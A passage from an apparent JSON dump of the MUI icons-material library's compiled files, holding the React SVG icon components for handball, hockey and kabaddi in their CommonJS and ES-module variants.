1.37s1.09.11 1.37-.37l1-1.73 1.73 1-2.5 4.33c-.28.48-.11 1.09.37 1.37s1.09.11 1.37-.37l5.79-10.02c.98 1.34 1.26 3.12.66 4.72-.17.45.02.96.43 1.2.53.31 1.22.08 1.44-.5.97-2.62.41-5.84-2.2-8.04M12.75 3.8c.72.41 1.63.17 2.05-.55.41-.72.17-1.63-.55-2.05-.72-.41-1.63-.17-2.05.55-.41.72-.17 1.64.55 2.05\"\n}, \"1\")], 'SportsHandballRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHandballRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.27 6c-.55.95-.22 2.18.73 2.73s2.18.22 2.73-.73.22-2.18-.73-2.73-2.18-.22-2.73.73\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.84 10.41s-1.63-.94-2.6-1.5c-2.13-1.24-3.01-3.83-2.18-6.07.17-.46-.01-.97-.43-1.21-.53-.3-1.22-.07-1.43.5-.95 2.51-.35 5.35 1.46 7.27l-4.65 8.05c-.28.48-.11 1.09.37 1.37s1.09.11 1.37-.37l1-1.73 1.73 1-2.5 4.33c-.28.48-.11 1.09.37 1.37s1.09.11 1.37-.37l5.79-10.02c.98 1.34 1.26 3.12.66 4.72-.17.45.02.96.43 1.2.53.31 1.22.08 1.44-.5.97-2.62.41-5.84-2.2-8.04M12.75 3.8c.72.41 1.63.17 2.05-.55.41-.72.17-1.63-.55-2.05-.72-.41-1.63-.17-2.05.55-.41.72-.17 1.64.55 2.05\"\n}, \"1\")], 'SportsHandballRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHandballSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.27 6c-.55.95-.22 2.18.73 2.73s2.18.22 2.73-.73.22-2.18-.73-2.73-2.18-.22-2.73.73\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.84 10.41s-1.63-.94-2.6-1.5c-2.38-1.38-3.2-4.44-1.82-6.82l-1.73-1C8.1 3.83 8.6 7.21 10.66 9.4l-5.15 8.92 1.73 1 1.5-2.6 1.73 1-3 5.2 1.73 1 6.29-10.89c1.14 1.55 1.33 3.69.31 5.46l1.73 1c1.6-2.75 1.28-6.58-1.69-9.08\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.75 3.8c.72.41 1.63.17 2.05-.55.41-.72.17-1.63-.55-2.05-.72-.41-1.63-.17-2.05.55-.41.72-.17 1.64.55 2.05\"\n}, \"2\")], 'SportsHandballSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHandballSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.27 6c-.55.95-.22 2.18.73 2.73s2.18.22 2.73-.73.22-2.18-.73-2.73-2.18-.22-2.73.73\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.84 10.41s-1.63-.94-2.6-1.5c-2.38-1.38-3.2-4.44-1.82-6.82l-1.73-1C8.1 3.83 8.6 7.21 10.66 9.4l-5.15 8.92 1.73 1 1.5-2.6 1.73 1-3 5.2 1.73 1 6.29-10.89c1.14 1.55 1.33 3.69.31 5.46l1.73 1c1.6-2.75 1.28-6.58-1.69-9.08\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.75 3.8c.72.41 1.63.17 2.05-.55.41-.72.17-1.63-.55-2.05-.72-.41-1.63-.17-2.05.55-.41.72-.17 1.64.55 2.05\"\n}, \"2\")], 'SportsHandballSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHandballTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.27 6c-.55.95-.22 2.18.73 2.73s2.18.22 2.73-.73.22-2.18-.73-2.73-2.18-.22-2.73.73\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.84 10.41s-1.63-.94-2.6-1.5c-2.38-1.38-3.2-4.44-1.82-6.82l-1.73-1C8.1 3.83 8.6 7.21 10.66 9.4l-5.15 8.92 1.73 1 1.5-2.6 1.73 1-3 5.2 1.73 1 6.29-10.89c1.14 1.55 1.33 3.69.31 5.46l1.73 1c1.6-2.75 1.28-6.58-1.69-9.08\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.75 3.8c.72.41 1.63.17 2.05-.55.41-.72.17-1.63-.55-2.05-.72-.41-1.63-.17-2.05.55-.41.72-.17 1.64.55 2.05\"\n}, \"2\")], 'SportsHandballTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHandballTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.27 6c-.55.95-.22 2.18.73 2.73s2.18.22 2.73-.73.22-2.18-.73-2.73-2.18-.22-2.73.73\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.84 10.41s-1.63-.94-2.6-1.5c-2.38-1.38-3.2-4.44-1.82-6.82l-1.73-1C8.1 3.83 8.6 7.21 10.66 9.4l-5.15 8.92 1.73 1 1.5-2.6 1.73 1-3 5.2 1.73 1 6.29-10.89c1.14 1.55 1.33 3.69.31 5.46l1.73 1c1.6-2.75 1.28-6.58-1.69-9.08\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.75 3.8c.72.41 1.63.17 2.05-.55.41-.72.17-1.63-.55-2.05-.72-.41-1.63-.17-2.05.55-.41.72-.17 1.64.55 2.05\"\n}, \"2\")], 'SportsHandballTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHockey.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 17v3h2v-4H3c-.55 0-1 .45-1 1m7-1H5v4l4.69-.01c.38 0 .72-.21.89-.55l.87-1.9-1.59-3.48zm12.71.29c-.18-.18-.43-.29-.71-.29h-1v4h2v-3c0-.28-.11-.53-.29-.71m-8.11-3.45L17.65 4H14.3l-1.76 3.97-.49 1.1-.05.14L9.7 4H6.35l4.05 8.84 1.52 3.32.08.18 1.42 3.1c.17.34.51.55.89.55L19 20v-4h-4z\"\n}), 'SportsHockey');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHockey.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 17v3h2v-4H3c-.55 0-1 .45-1 1m7-1H5v4l4.69-.01c.38 0 .72-.21.89-.55l.87-1.9-1.59-3.48zm12.71.29c-.18-.18-.43-.29-.71-.29h-1v4h2v-3c0-.28-.11-.53-.29-.71m-8.11-3.45L17.65 4H14.3l-1.76 3.97-.49 1.1-.05.14L9.7 4H6.35l4.05 8.84 1.52 3.32.08.18 1.42 3.1c.17.34.51.55.89.55L19 20v-4h-4z\"\n}), 'SportsHockey');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHockeyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 17v3h2v-4H3c-.55 0-1 .45-1 1m7-1H5v4l4.69-.01c.38 0 .72-.21.89-.55l.87-1.9-1.59-3.48zm12.71.29c-.18-.18-.43-.29-.71-.29h-1v4h2v-3c0-.28-.11-.53-.29-.71m-8.11-3.45L17.65 4H14.3l-1.76 3.97-.49 1.1-.05.14L9.7 4H6.35l4.05 8.84 1.52 3.32.08.18 1.42 3.1c.17.34.51.55.89.55L19 20v-4h-4z\"\n}), 'SportsHockeyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHockeyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 17v3h2v-4H3c-.55 0-1 .45-1 1m7-1H5v4l4.69-.01c.38 0 .72-.21.89-.55l.87-1.9-1.59-3.48zm12.71.29c-.18-.18-.43-.29-.71-.29h-1v4h2v-3c0-.28-.11-.53-.29-.71m-8.11-3.45L17.65 4H14.3l-1.76 3.97-.49 1.1-.05.14L9.7 4H6.35l4.05 8.84 1.52 3.32.08.18 1.42 3.1c.17.34.51.55.89.55L19 20v-4h-4z\"\n}), 'SportsHockeyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHockeyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 17v3h2v-4H3c-.55 0-1 .45-1 1m7-1H5v4l4.69-.01c.38 0 .72-.21.89-.55l.87-1.9-1.59-3.48zm12.71.29c-.18-.18-.43-.29-.71-.29h-1v4h2v-3c0-.28-.11-.53-.29-.71m-8.11-3.45L17.65 4H14.3l-1.76 3.97-.49 1.1-.05.14L9.7 4H6.35l4.05 8.84 1.52 3.32.08.18 1.42 3.1c.17.34.51.55.89.55L19 20v-4h-4z\"\n}), 'SportsHockeyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHockeyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 17v3h2v-4H3c-.55 0-1 .45-1 1m7-1H5v4l4.69-.01c.38 0 .72-.21.89-.55l.87-1.9-1.59-3.48zm12.71.29c-.18-.18-.43-.29-.71-.29h-1v4h2v-3c0-.28-.11-.53-.29-.71m-8.11-3.45L17.65 4H14.3l-1.76 3.97-.49 1.1-.05.14L9.7 4H6.35l4.05 8.84 1.52 3.32.08.18 1.42 3.1c.17.34.51.55.89.55L19 20v-4h-4z\"\n}), 'SportsHockeyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHockeySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 17v3h2v-4H3c-.55 0-1 .45-1 1m7-1H5v4l4.69-.01c.38 0 .72-.21.89-.55l.87-1.9-1.59-3.48zm12.71.29c-.18-.18-.43-.29-.71-.29h-1v4h2v-3c0-.28-.11-.53-.29-.71m-8.11-3.45L17.65 4H14.3l-1.76 3.97-.49 1.1-.05.14L9.7 4H6.35l4.05 8.84 1.52 3.32.08.18 1.42 3.1c.17.34.51.55.89.55L19 20v-4h-4z\"\n}), 'SportsHockeySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHockeySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 17v3h2v-4H3c-.55 0-1 .45-1 1m7-1H5v4l4.69-.01c.38 0 .72-.21.89-.55l.87-1.9-1.59-3.48zm12.71.29c-.18-.18-.43-.29-.71-.29h-1v4h2v-3c0-.28-.11-.53-.29-.71m-8.11-3.45L17.65 4H14.3l-1.76 3.97-.49 1.1-.05.14L9.7 4H6.35l4.05 8.84 1.52 3.32.08.18 1.42 3.1c.17.34.51.55.89.55L19 20v-4h-4z\"\n}), 'SportsHockeySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHockeyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 17v3h2v-4H3c-.55 0-1 .45-1 1m7-1H5v4l4.69-.01c.38 0 .72-.21.89-.55l.87-1.9-1.59-3.48zm12.71.29c-.18-.18-.43-.29-.71-.29h-1v4h2v-3c0-.28-.11-.53-.29-.71m-8.11-3.45L17.65 4H14.3l-1.76 3.97-.49 1.1-.05.14L9.7 4H6.35l4.05 8.84 1.52 3.32.08.18 1.42 3.1c.17.34.51.55.89.55L19 20v-4h-4z\"\n}), 'SportsHockeyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsHockeyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 17v3h2v-4H3c-.55 0-1 .45-1 1m7-1H5v4l4.69-.01c.38 0 .72-.21.89-.55l.87-1.9-1.59-3.48zm12.71.29c-.18-.18-.43-.29-.71-.29h-1v4h2v-3c0-.28-.11-.53-.29-.71m-8.11-3.45L17.65 4H14.3l-1.76 3.97-.49 1.1-.05.14L9.7 4H6.35l4.05 8.84 1.52 3.32.08.18 1.42 3.1c.17.34.51.55.89.55L19 20v-4h-4z\"\n}), 'SportsHockeyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsKabaddi.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"2.38\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 11.88v-4.7l-5.05-2.14c-.97-.41-2.09-.06-2.65.84l-1 1.6c-.67 1.18-1.91 2.06-3.41 2.32l.06.06c.69.69 1.52 1.07 2.46 1.17.8-.42 1.52-.98 2.09-1.64l.6 3-1.16 1.1-.94.89v7.5h2v-6l2.1-2 1.8 8H23l-2.18-11-.62-3.1 1.8.7v3.4zM10.29 8.09c.22.15.47.24.72.29.13.02.25.04.38.04s.26-.01.38-.04c.13-.02.25-.06.37-.11.24-.1.47-.24.66-.44.49-.49.67-1.17.55-1.8-.07-.37-.25-.74-.55-1.03-.19-.19-.42-.34-.66-.44-.12-.05-.24-.09-.37-.11s-.25-.04-.38-.04c-.12 0-.23.01-.35.03-.14.02-.28.06-.41.11-.23.11-.46.26-.65.45-.3.29-.48.66-.55 1.03-.12.63.06 1.31.55 1.8.09.1.2.18.31.26\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.24 10.56-2-2c-.1-.1-.2-.18-.31-.26-.22-.14-.47-.24-.72-.28-.13-.03-.25-.04-.38-.04-.51 0-1.02.2-1.41.59l-3.34 3.34c-.41.41-.62.98-.58 1.54 0 .18.04.37.11.55l1.07 2.95-3.63 3.63L1.46 22l4.24-4.24v-2.22L7 16.75v5.13h2v-6l-2.12-2.12 2.36-2.36.71.71c1.29 1.26 2.97 2.04 5.03 2.04l-.14-2.07c-1.5-.02-2.7-.62-3.6-1.52\"\n}, \"2\")], 'SportsKabaddi');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsKabaddi.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"2.38\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 11.88v-4.7l-5.05-2.14c-.97-.41-2.09-.06-2.65.84l-1 1.6c-.67 1.18-1.91 2.06-3.41 2.32l.06.06c.69.69 1.52 1.07 2.46 1.17.8-.42 1.52-.98 2.09-1.64l.6 3-1.16 1.1-.94.89v7.5h2v-6l2.1-2 1.8 8H23l-2.18-11-.62-3.1 1.8.7v3.4zM10.29 8.09c.22.15.47.24.72.29.13.02.25.04.38.04s.26-.01.38-.04c.13-.02.25-.06.37-.11.24-.1.47-.24.66-.44.49-.49.67-1.17.55-1.8-.07-.37-.25-.74-.55-1.03-.19-.19-.42-.34-.66-.44-.12-.05-.24-.09-.37-.11s-.25-.04-.38-.04c-.12 0-.23.01-.35.03-.14.02-.28.06-.41.11-.23.11-.46.26-.65.45-.3.29-.48.66-.55 1.03-.12.63.06 1.31.55 1.8.09.1.2.18.31.26\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.24 10.56-2-2c-.1-.1-.2-.18-.31-.26-.22-.14-.47-.24-.72-.28-.13-.03-.25-.04-.38-.04-.51 0-1.02.2-1.41.59l-3.34 3.34c-.41.41-.62.98-.58 1.54 0 .18.04.37.11.55l1.07 2.95-3.63 3.63L1.46 22l4.24-4.24v-2.22L7 16.75v5.13h2v-6l-2.12-2.12 2.36-2.36.71.71c1.29 1.26 2.97 2.04 5.03 2.04l-.14-2.07c-1.5-.02-2.7-.62-3.6-1.52\"\n}, \"2\")], 'SportsKabaddi');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsKabaddiOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"2.38\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 11.88v-4.7l-5.05-2.14c-.97-.41-2.09-.06-2.65.84l-1 1.6c-.67 1.18-1.91 2.06-3.41 2.32l.06.06c.69.69 1.52 1.07 2.46 1.17.8-.42 1.52-.98 2.09-1.64l.6 3-1.16 1.1-.94.89v7.5h2v-6l2.1-2 1.8 8H23l-2.18-11-.62-3.1 1.8.7v3.4zM10.29 8.09c.22.15.47.24.72.29.13.02.25.04.38.04s.26-.01.38-.04c.13-.02.25-.06.37-.11.24-.1.47-.24.66-.44.49-.49.67-1.17.55-1.8-.07-.37-.25-.74-.55-1.03-.19-.19-.42-.34-.66-.44-.12-.05-.24-.09-.37-.11s-.25-.04-.38-.04c-.12 0-.23.01-.35.03-.14.02-.28.06-.41.11-.23.11-.46.26-.65.45-.3.29-.48.66-.55 1.03-.12.63.06 1.31.55 1.8.09.1.2.18.31.26\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.24 10.56-2-2c-.1-.1-.2-.18-.31-.26-.22-.14-.47-.24-.72-.28-.13-.03-.25-.04-.38-.04-.51 0-1.02.2-1.41.59l-3.34 3.34c-.41.41-.62.98-.58 1.54 0 .18.04.37.11.55l1.07 2.95-3.63 3.63L1.46 22l4.24-4.24v-2.22L7 16.75v5.13h2v-6l-2.12-2.12 2.36-2.36.71.71c1.29 1.26 2.97 2.04 5.03 2.04l-.14-2.07c-1.5-.02-2.7-.62-3.6-1.52\"\n}, \"2\")], 'SportsKabaddiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsKabaddiOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"2.38\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 11.88v-4.7l-5.05-2.14c-.97-.41-2.09-.06-2.65.84l-1 1.6c-.67 1.18-1.91 2.06-3.41 2.32l.06.06c.69.69 1.52 1.07 2.46 1.17.8-.42 1.52-.98 2.09-1.64l.6 3-1.16 1.1-.94.89v7.5h2v-6l2.1-2 1.8 8H23l-2.18-11-.62-3.1 1.8.7v3.4zM10.29 8.09c.22.15.47.24.72.29.13.02.25.04.38.04s.26-.01.38-.04c.13-.02.25-.06.37-.11.24-.1.47-.24.66-.44.49-.49.67-1.17.55-1.8-.07-.37-.25-.74-.55-1.03-.19-.19-.42-.34-.66-.44-.12-.05-.24-.09-.37-.11s-.25-.04-.38-.04c-.12 0-.23.01-.35.03-.14.02-.28.06-.41.11-.23.11-.46.26-.65.45-.3.29-.48.66-.55 1.03-.12.63.06 1.31.55 1.8.09.1.2.18.31.26\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.24 10.56-2-2c-.1-.1-.2-.18-.31-.26-.22-.14-.47-.24-.72-.28-.13-.03-.25-.04-.38-.04-.51 0-1.02.2-1.41.59l-3.34 3.34c-.41.41-.62.98-.58 1.54 0 .18.04.37.11.55l1.07 2.95-3.63 3.63L1.46 22l4.24-4.24v-2.22L7 16.75v5.13h2v-6l-2.12-2.12 2.36-2.36.71.71c1.29 1.26 2.97 2.04 5.03 2.04l-.14-2.07c-1.5-.02-2.7-.62-3.6-1.52\"\n}, \"2\")], 'SportsKabaddiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsKabaddiRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"2.38\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 10.88v-3.7l-4.99-2.11c-.98-.41-2.12-.07-2.71.81l-1 1.6c-.67 1.18-1.91 2.06-3.41 2.32l.06.06c.69.69 1.52 1.07 2.46 1.17.8-.42 1.52-.98 2.09-1.64l.6 3-1.16 1.1-.94.89v6.5c0 .55.45 1 1 1s1-.45 1-1v-5l2.1-2 1.62 7.19c.11.47.53.81 1.02.81.66 0 1.15-.6 1.02-1.24l-1.94-9.76-.62-3.1 1.8.7v2.4c0 .55.45 1 1 1s1-.45 1-1M10.29 8.09c.22.15.47.24.72.29.13.02.25.04.38.04s.26-.01.38-.04c.13-.02.25-.06.37-.11.24-.1.47-.24.66-.44.49-.49.67-1.17.55-1.8-.07-.37-.25-.74-.55-1.03-.19-.19-.42-.34-.66-.44-.12-.05-.24-.09-.37-.11s-.25-.04-.38-.04c-.12 0-.23.01-.35.03-.14.02-.28.06-.41.11-.23.11-.46.26-.65.45-.3.29-.48.66-.55 1.03-.12.63.06 1.31.55 1.8.09.1.2.18.31.26\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.24 10.56-2-2c-.1-.1-.2-.18-.31-.26-.22-.14-.47-.24-.72-.28-.13-.03-.25-.04-.38-.04-.51 0-1.02.2-1.41.59l-3.34 3.34c-.41.41-.62.98-.58 1.54 0 .18.04.37.11.55l1.07 2.95-2.92 2.92c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l3.54-3.54v-2.22L7 16.75v4.13c0 .55.45 1 1 1s1-.45 1-1v-5l-2.12-2.12 2.36-2.36.71.71c1.02 1 2.28 1.69 3.79 1.94.64.11 1.21-.45 1.16-1.1-.03-.48-.4-.87-.87-.94-1.13-.18-2.06-.72-2.79-1.45\"\n}, \"2\")], 'SportsKabaddiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsKabaddiRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"2.38\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 10.88v-3.7l-4.99-2.11c-.98-.41-2.12-.07-2.71.81l-1 1.6c-.67 1.18-1.91 2.06-3.41 2.32l.06.06c.69.69 1.52 1.07 2.46 1.17.8-.42 1.52-.98 2.09-1.64l.6 3-1.16 1.1-.94.89v6.5c0 .55.45 1 1 1s1-.45 1-1v-5l2.1-2 1.62 7.19c.11.47.53.81 1.02.81.66 0 1.15-.6 1.02-1.24l-1.94-9.76-.62-3.1 1.8.7v2.4c0 .55.45 1 1 1s1-.45 1-1M10.29 8.09c.22.15.47.24.72.29.13.02.25.04.38.04s.26-.01.38-.04c.13-.02.25-.06.37-.11.24-.1.47-.24.66-.44.49-.49.67-1.17.55-1.8-.07-.37-.25-.74-.55-1.03-.19-.19-.42-.34-.66-.44-.12-.05-.24-.09-.37-.11s-.25-.04-.38-.04c-.12 0-.23.01-.35.03-.14.02-.28.06-.41.11-.23.11-.46.26-.65.45-.3.29-.48.66-.55 1.03-.12.63.06 1.31.55 1.8.09.1.2.18.31.26\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.24 10.56-2-2c-.1-.1-.2-.18-.31-.26-.22-.14-.47-.24-.72-.28-.13-.03-.25-.04-.38-.04-.51 0-1.02.2-1.41.59l-3.34 3.34c-.41.41-.62.98-.58 1.54 0 .18.04.37.11.55l1.07 2.95-2.92 2.92c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l3.54-3.54v-2.22L7 16.75v4.13c0 .55.45 1 1 1s1-.45 1-1v-5l-2.12-2.12 2.36-2.36.71.71c1.02 1 2.28 1.69 3.79 1.94.64.11 1.21-.45 1.16-1.1-.03-.48-.4-.87-.87-.94-1.13-.18-2.06-.72-2.79-1.45\"\n}, \"2\")], 'SportsKabaddiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsKabaddiSharp.js",
